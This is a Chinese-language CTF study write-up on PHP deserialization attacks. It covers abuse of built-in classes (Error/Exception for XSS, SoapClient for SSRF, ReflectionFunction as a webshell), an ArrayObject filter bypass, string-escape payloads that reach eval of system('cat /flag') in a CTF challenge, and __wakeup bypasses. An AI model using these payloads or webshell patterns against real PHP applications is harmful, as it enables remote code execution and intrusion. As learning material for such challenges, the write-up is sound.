ReflectionEnumUnitCase::__toString
ReflectionEnumBackedCase::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
AssertionError::__wakeup
AssertionError::__toString
SodiumException::__wakeup
SodiumException::__toString
PDOException::__wakeup
PDOException::__toString
DOMException::__wakeup
DOMException::__toString
FFI\Exception::__wakeup
FFI\Exception::__toString
FFI\ParserException::__wakeup
FFI\ParserException::__toString
IntlException::__wakeup
IntlException::__toString
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
PhpToken::__toString

挑几个重点的说吧:

Error类

  • 适用于 php7 版本
  • 在开启报错的情况下

给了一个类摘要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
类属性:

message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
类方法:

Error::__construct — 初始化 error 对象
Error::getMessage — 获取错误信息
Error::getPrevious — 返回先前的 Throwable
Error::getCode — 获取错误代码
Error::getFile — 获取错误发生时的文件
Error::getLine — 获取错误发生时的行号
Error::getTrace — 获取调用栈(stack trace)
Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
Error::__toString — error 的字符串表达
Error::__clone — 克隆 error

Error类是 php 的一个内置类,用于自动自定义一个 Error,在 php7 的环境下可能会造成一个 xss 漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了,不如尝试利用这个来做一个 xss,直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发 __toString 方法

1
2
3
<?php
$a = new Error("ZLARYY");
echo $a;

当我们执行这串代码之后,我们会看到如下结果:

1
Error: ZLARYY in D:\phpstudy_pro\WWW\liu.php:2 Stack trace: #0 {main}

其中ZLARYY字符串部分我们可控,就可能造成XSS漏洞

比如:

1
2
3
<?php
$a = new Error("<script>alert(1)</script>");
echo $a;

Exception类

  • 适用于 php5、7版本
  • 开启报错的情况下

与Error类完全一样,就不多说了

1
Exception: ZLARYY in D:\phpstudy_pro\WWW\liu.php:2 Stack trace: #0 {main}

但也粘贴一下给的类摘要吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
类方法:
Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回异常链中的前一个异常
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆

SoapClient类

PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。
  • 第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。
1
2
3
4
WEB服务的三要素:SOAP WSDL UDDI
1.SOAP:SOAP 协议是一种基于 XML 的协议,用于在 Web 应用程序之间进行交互,主要用于 Web 服务。
2.WSDL:是一种 XML 文档,用于描述 Web 服务。
3.UDDI:是一个用于发布和发现 Web 服务的目录服务,它提供了一种标准的方式来描述 Web 服务的元数据信息,并将这些信息注册到 UDDI 目录中。

我尝试用以下这段代码去触发一个SSRF

1
2
3
<?php
$a = new SoapClient(null,array('location' => 'http://192.168.1.40:5000', 'uri' => 'http://test-uri'));
$a->flag();
1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route('/',methods=['GET','POST'])
def hello():
return 'Hello'

if __name__ == '__main__':
app.run(host='0.0.0.0',debug=False)
1
192.168.1.40 - - [15/Feb/2026 17:08:33] "POST / HTTP/1.1" 200 -

的确POST一个内容上去

但是,由于它仅限于 HTTP/HTTPS 协议,所以用处不是很大。而如果这里 HTTP 头部还存在 CRLF 漏洞的话,但我们则可以通过 SSRF + CRLF,插入任意的 HTTP 头。

反射类Reflection

ReflectionClass

  • ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例。
1
public ReflectionClass::__construct(mixed $argument)
  • $argument:既可以是包含类名的字符串(string)也可以是对象(object)。

比如一下这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!</br>";
}
}
$a = new ZLARYY();
echo new ReflectionClass('ZLARYY');

它能把类里面属性和方法的名字都能够显示出来。

这个类还有一个特别的用处是给私有属性赋值:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!</br>";
}
}

就比如上述代码中如果我想要给Arach属性赋值true,我可以利用ReflectionClass:

1
2
3
4
5
$a = new ZLARYY();
$ref = new ReflectionClass($a);
$Arach = $ref->getProperty('Arach'); //获取名为'Arach'的属性(即使它是私有的)
$Arach->setAccessible(true); //将私有属性设置为可访问
$Arach->setvalue($a,true); //将$a对象的Arach属性值设置为true

通过序列化字符串结果b:1可见Arach成功在类外被赋值为true

ReflectionFunction

这个内置类可以用来辅助调用匿名函数,其中的invokeArgs()方法也可以用来写webshell

先说调用匿名函数的事吧,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie=1;
protected $Chesmond;
private $Arach = true;

function __wakeup(){
echo "ZLARYY!!!</br>";
}
}
$func = function (){
echo "You absolutely execute it!";
};
$a = new ReflectionFunction($func);
$a->invoke();

可以看到如果我们新创建了一个ReflectionFunction实例 ,并将函数名放在里面作为参数调用invoke()方法就能实现调用函数,那如果没有$func呢?如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!";
}
}
create_function("",'echo "You absolutely execute it!";');

如果我想调用这个create_function该怎么办?

1
2
$a = new ReflectionFunction("\0lambda_1");
$a->invoke();

这里用\0lambda_1是由于默认情况下create_function返回的字符串为\0lambda_1

由于多次试验会造成\0lambda_后跟的数字增加,所以这里用的\0lambda_3来演试,在做题中一般都是\0lambda_1

接下来说说用invokeArgs()来写webshell:

1
public ReflectionFunction::invokeArgs(array $args): mixed
  • $args:传递给函数的参数是一个数组,像 call_user_func_array() 的工作方式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!";
}
}
function ZL47yY(){
return "what did you see?";
}
$function = new ReflectionFunction('ZL47yY');
echo $function->invokeArgs(array());
function illy4($str1,$str2){
return sprintf("%s and %s", $str1, $str2);
}
$function2 = new ReflectionFunction('illy4');
echo $function2->invokeargs(array('yes','no'));

其实相当于是执行了:

1
2
echo ZL47yY();
echo illy4('yes','no');

那么如果yes和no部分我们可控会造成什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!";
}
}
$function = new ReflectionFunction($_GET['a']);
$function->invokeArgs(array($_GET['b']));

也就是执行了:

1
echo system('whoami');

参考文章:https://drun1baby.top/2023/04/11/PHP-%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%AD%A6%E4%B9%A0/

利用ArrayObject绕过O开头序列化字符串

正常情况下,如下代码 :

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!";
}
}
$a = new ZLARYY();
print_r(serialize($a));

产生的序列化字符串应该为O开头:

1
O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}

但如果有些题目不允许O开头的内容传入,我们该怎么绕过呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __construct(){
echo "ZLARYY!!!";
}
}
$a = new ZLARYY();
print_r(serialize($a));
echo "</br>";
$arr = array("test"=>$a);
$oa = new ArrayObject($arr);
print_r(serialize($oa));

这样的话产生的序列化字符串为:

1
C:11:"ArrayObject":108:{x:i:0;a:1:{s:4:"test";O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}};m:a:0:{}}
1
PHP序列化字符串以'O'和'C'开头分别代表普通对象和自定义序列化对象。'O'代表普通类实例,结构为 O:长度:"类名":属性数:{属性},反序列化时自动触发__wakeup()或__destruct()。'C'代表实现了Serializable接口的类,结构为 C:长度:"类名":数据长度:{数据},利用serialize()和unserialize()自定义数据格式。 
1
2
3
4
5
6
7
具体区别如下:
O (Object):
结构:O:4:"User":2:{s:2:"id";i:1;}
特点:序列化所有成员属性,反序列化时会自动触发__wakeup()方法(如果存在)。
C (Custom Object):
结构:C:4:"User":13:{...自定义数据...}
特点:针对实现了Serializable接口的类,使用自定义的serialize()和unserialize()方法来控制序列化内容,__wakeup()不会被触发。

字符串逃逸

字符串逃逸是指在处理字符串时,通过特定的构造或操作,使得字符串的内容被错误解析或跳过,从而实现意料之外的效果。这种技术常见于反序列化漏洞中,尤其是在PHP等语言中,利用字符串长度的变化或过滤器的处理缺陷,达到修改或注入数据的目的。字符串逃逸分为两种情况:增加和减少

字符串逃逸-增加

这里选择D0g3三面题目作为例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='lu1ux')
{
include('flag1.php');
echo $flag1;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('php','hack',$string);
}
$uname=$_GET['id'];
$password='Eurake';
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

在这道题目中$uname部分我们可控,$password他预先赋值为Eurake,我们要做的就是绕过这个原本的赋值将$password赋值为lu1ux

由于我手上没有题目环境了,所以我把题目稍稍修改了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='lu1ux')
{
echo "flag is ZLARYY{2L47yY}";
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('php','hack',$string);
}
$a = new a();
$a->password='Eurake';
$ser=filter(serialize($a));
$test=unserialize($ser);
//$uname可控

当我把uname赋值为php,我们 输出一下序列化字符串:

1
O:1:"a":2:{s:5:"uname";s:3:"hack";s:8:"password";s:6:"Eurake";}

我们发现了一个奇怪的地方:

1
s:3:"hack"

那么这就是漏洞所在了,s:3的结构导致溢出了一位

那么我们的思路应该是这样:构造新的password序列化字符串包含在uname里面,通过溢出的字符个数来作为实际上会被反序列化的序列化字符串:

1
2
3
//新的password序列化字符串:
";s:8:"password";s:5:"lu1ux";}//这里用}的原因是闭合前面的{,使其成为完整的序列化字符串而不考虑后面
//经过计数,一共有30个字符需要溢出

那么最终我们的payload中uname需要包含30个php,即:

1
$a->uname='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:8:"password";s:5:"lu1ux";}';

最终序列化字符串结果为:

1
O:1:"a":2:{s:5:"uname";s:120:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:5:"lu1ux";}";s:8:"password";s:6:"Eurake";}

第一串里面刚好有30个hack对应120,那么我们试试这串payload能不能得到我们想要的结果:

成功了,所以字符串逃逸增加的重点就在于我们要把需要的内容作为属性的值传入,同时构造相应长度的字符串来溢出

字符串逃逸-减少

这里选择2026furryCTF上的babypop题目作为演示 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
error_reporting(0);
highlight_file(__FILE__);
class SecurityProvider {
private $token;
public function __construct() {
$this->token = md5(uniqid());
}
public function verify($data) {
if (strpos($data, '..') !== false) {
die("Attack Detected");
}
return $data;
}
}
class LogService {
protected $handler;
protected $formatter;

public function __construct($handler = null) {
$this->handler = $handler;
$this->formatter = new DateFormatter();
}

public function __destruct() {
if ($this->handler && method_exists($this->handler, 'close')) {
$this->handler->close();
}
}
}
class FileStream {
private $path;
private $mode;
public $content;
public function __construct($path, $mode) {
$this->path = $path;
$this->mode = $mode;
}
public function close() {
if ($this->mode === 'debug' && !empty($this->content)) {
$cmd = $this->content;
if (strlen($cmd) < 2) return;
@eval($cmd);
} else {
return true;
}
}
}
class DateFormatter {
public function format($timestamp) {
return date('Y-m-d H:i:s', $timestamp);
}
}
class UserProfile {
public $username;
public $bio;
public $preference;

public function __construct($u, $b) {
$this->username = $u;
$this->bio = $b;
$this->preference = new DateFormatter();
}
}
class DataSanitizer {
public static function clean($input) {
return str_replace("hacker", "", $input);
}
}
$raw_user = $_POST['user'] ?? null;
$raw_bio = $_POST['bio'] ?? null;
if ($raw_user && $raw_bio) {
$sec = new SecurityProvider();
$sec->verify($raw_user);
$sec->verify($raw_bio);
$profile = new UserProfile($raw_user, $raw_bio);
$data = serialize($profile);
if (strlen($data) > 4096) {
die("Data too long");
}
$safe_data = DataSanitizer::clean($data);
$unserialized = unserialize($safe_data);
if ($unserialized instanceof UserProfile) {
echo "Profile loaded for " . htmlspecialchars($unserialized->username);
}
}
?>

以上为题目内容,分析完我们应该能看出来哪些是构造pop链所必需的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LogService {
protected $handler;
protected $formatter;

public function __construct($handler = null) {
$this->handler = $handler;
$this->formatter = new DateFormatter();
}

public function __destruct() {
if ($this->handler && method_exists($this->handler, 'close')) {
$this->handler->close();
}
}
}
class FileStream {
private $path;
private $mode = 'debug';
public $content = "system('cat /flag')";
public function __construct($path, $mode) {
$this->path = $path;
$this->mode = $mode;
}
public function close() {
if ($this->mode === 'debug' && !empty($this->content)) {
$cmd = $this->content;
if (strlen($cmd) < 2) return;
@eval($cmd);
} else {
return true;
}
}
}
class DateFormatter {
public function format($timestamp) {
return date('Y-m-d H:i:s', $timestamp);
}
}

准确来说就是前两个类,那么我们期望执行的反序列化内容化为:

1
2
3
4
5
6
7
8
9
$a = new LogService();
$b = new FileStream();
$ref = new ReflectionClass($a);
$refProperty = $ref->getProperty('handler');
$refProperty->setAccessible(true);
$refProperty->setvalue($a,$b);
print_r(serialize($a));

unserialize(serialize($a));

这段代码所输出的payload是这样:

1
O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";N;s:16:"FileStreammode";N;s:7:"content";s:20:"system('cat /flag');";}s:12:"*formatter";O:13:"DateFormatter":0:{}}

那么让我们简单分析一下我们需要做什么:

1
2
1.传入user和bio的值
2.想办法把我们的期望执行的payload放在序列化字符串里面,也就是$safe_data

那看看其他类的作用是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if ($raw_user && $raw_bio) { //首先会检测我们传入的参数的值是否存在
$sec = new SecurityProvider();
$sec->verify($raw_user);
$sec->verify($raw_bio);

//其次调用SecurityPrrovider这个类中的verify函数去查看我们传入的参数的值中是否存在..字符

$profile = new UserProfile($raw_user, $raw_bio);

//接着把我们传入的参数的值赋给新创建的UserPrrofile的username和bio

$data = serialize($profile);

//然后序列化这个新创建的对象

if (strlen($data) > 4096) {
die("Data too long");
} //序列化之后的字符串长度不能超过4096个字符
$safe_data = DataSanitizer::clean($data);

//调用DataSanitizer中的clean函数对序列化之后的字符串进行删除操作,也就是把序列化字符串中的所有hacker替换为空

$unserialized = unserialize($safe_data);
//反序列化
if ($unserialized instanceof UserProfile) {
echo "Profile loaded for " . htmlspecialchars($unserialized->username);
}
} //判断反序列化之后的对象是否属于UserProfile类

这里需要注意的是如果我们的反序列化字符串无法构成一个对象的话,会导致结构崩溃,也就是说我们的RCE无法执行,那么我们需要在插入我们期望的payload的同时保证UserProfile结构的完整

假设我传入user=1&bio=1,那么$data和$safe_data结果分别为:

1
2
3
4
O:11:"UserProfile":3:{s:8:"username";s:1:"1";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}


O:11:"UserProfile":3:{s:8:"username";s:1:"1";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}

但如果我把user的值换为hacker,会造成以下结果

1
2
3
O:11:"UserProfile":3:{s:8:"username";s:6:"hacker";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}

O:11:"UserProfile":3:{s:8:"username";s:6:"";s:3:"bio";s:1:"1";s:10:"preference";O:13:"DateFormatter":0:{}}

我们注意到$safe_data中有一串变成了

1
s:6:"";

那么这里就涉及到字符串逃逸的知识了,我们可以在保留UserProfile结构完整性的同时插入我们期望执行的payload,所以我们需要逃逸的部分字符串为:

1
";s:3:"bio";s:1xx:

考虑到我们的bio内容为我们的期望payload,那么长度经过计数是三位数,所以我们需要逃逸的字符串长度为

18,刚好是三个hacker的长度,而本来作为展示值的”内容变成了s:6”的闭合符,那么实际上我们的序列化字符串就变成了:

1
O:11:"UserProfile":3:{s:8:"username";s:18:"xxxxxxxxxxxxxxxxxx"1";s:10:"preference";O:13:"DateFormatter":0:{}}

然后1作为我们可控内容自然就拼接进了这个序列化字符串里面,为了保证我们UserProfile的完整性,我们需要加上如下内容:

1
s:3:"bio";s:1:"1";s:10:"preference";

记得在最前面加上;保证序列化字符串的结构,在最后面加上}

所以我们的bio内容为:

1
;s:3:"bio";s:1:"1";s:10:"preference";O:10:"LogService":2:{s:10:"%00*%00handler";O:10:"FileStream":3:{s:16:"%00FileStream%00path";s:1:"1";s:16:"%00FileStream%00mode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}s:12:"%00*%00formatter";O:13:"DateFormatter":0:{}}}

由于属性的不同:

1
2
3
Protected 属性 ($handler, $formatter):格式是 \0*\0属性名。例如 *handler 序列化后长度是 10,内容是 %00*%00handler。

Private 属性 ($path, $mode):格式是 \0类名\0属性名。例如 FileStream 的 $path 序列化后长度是 16,内容是 %00FileStream%00path。

而我们得到的是:

1
O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";N;s:16:"FileStreammode";N;s:7:"content";s:20:"system('cat /flag');";}s:12:"*formatter";O:13:"DateFormatter":0:{}}

所以需要修改内容:

1
2
3
4
*handler    %00*%00handler
FileStreampath %00FileStream%00path
FileStreammode %00FileStream%00mode
*formatter %00*%00formatter

综上所述:

1
user=hackerhackerhacker&bio=;s:3:"bio";s:1:"1";s:10:"preference";O:10:"LogService":2:{s:10:"%00*%00handler";O:10:"FileStream":3:{s:16:"%00FileStream%00path";s:1:"1";s:16:"%00FileStream%00mode";s:5:"debug";s:7:"content";s:20:"system('cat /flag');";}s:12:"%00*%00formatter";O:13:"DateFormatter":0:{}}}

那么字符串逃逸减少的重点就在于我们需要将原本的序列化字符串的后面部分内容给作为前一个属性的值,然后在后面构造我们想要反序列化的内容

绕过__wakeup()

这里学习的是利用fast destruct来绕过

修改属性值绕过__wakeup()

php5>5.6.25 php7<7.0.10

1
如果存在__wakeup()方法,调用unserialize()方法之前会先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实属性个数时,就会跳过__wwakeup()的执行

在以下这串代码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __destruct(){
echo "ZLARYY!!!";
}
function __wakeup(){
echo $this->Chesmond = "You Lose!";
}
}
$a=new ZLARYY();
$b=unserialize(serialize($a));

这样会正常触发__wakeup()方法的内容

我们输出序列化字符串看到的是:

1
O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}

如果我们把这串序列化字符串属性值修改为4,那么看看还会不会触发__wakeup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __destruct(){
echo "ZLARYY!!!";
}
function __wakeup(){
echo $this->Chesmond = "You Lose!";
}
}
$a=new ZLARYY();
$b = unserialize('O:6:"ZLARYY":4:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}');

成功绕过了__wakeup()

破坏序列化字符串结构绕过__wakeup()

如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class ZLARYY{
public $xiexie;
protected $Chesmond;
private $Arach;

function __destruct(){
echo "ZLARYY!!!";
}
function __wakeup(){
echo $this->Chesmond = "You Lose!";
}
}
class illy4{
public $object;
}
$a=new ZLARYY();
$b = new illy4();
$b->object = $a;
print_r(serialize($b));

正常情况下这段代码输出序列化字符串内容为:

1
O:5:"illy4":1:{s:6:"object";O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}}

如果我们让他反序列化内容变为:

1
O:5:"illy4":1:{s:6:"object";O:6:"ZLARYY":3:{s:6:"xiexie";N;s:11:"*Chesmond";N;s:13:"ZLARYYArach";N;}

那么这种情况也可以实现绕过__wakeup()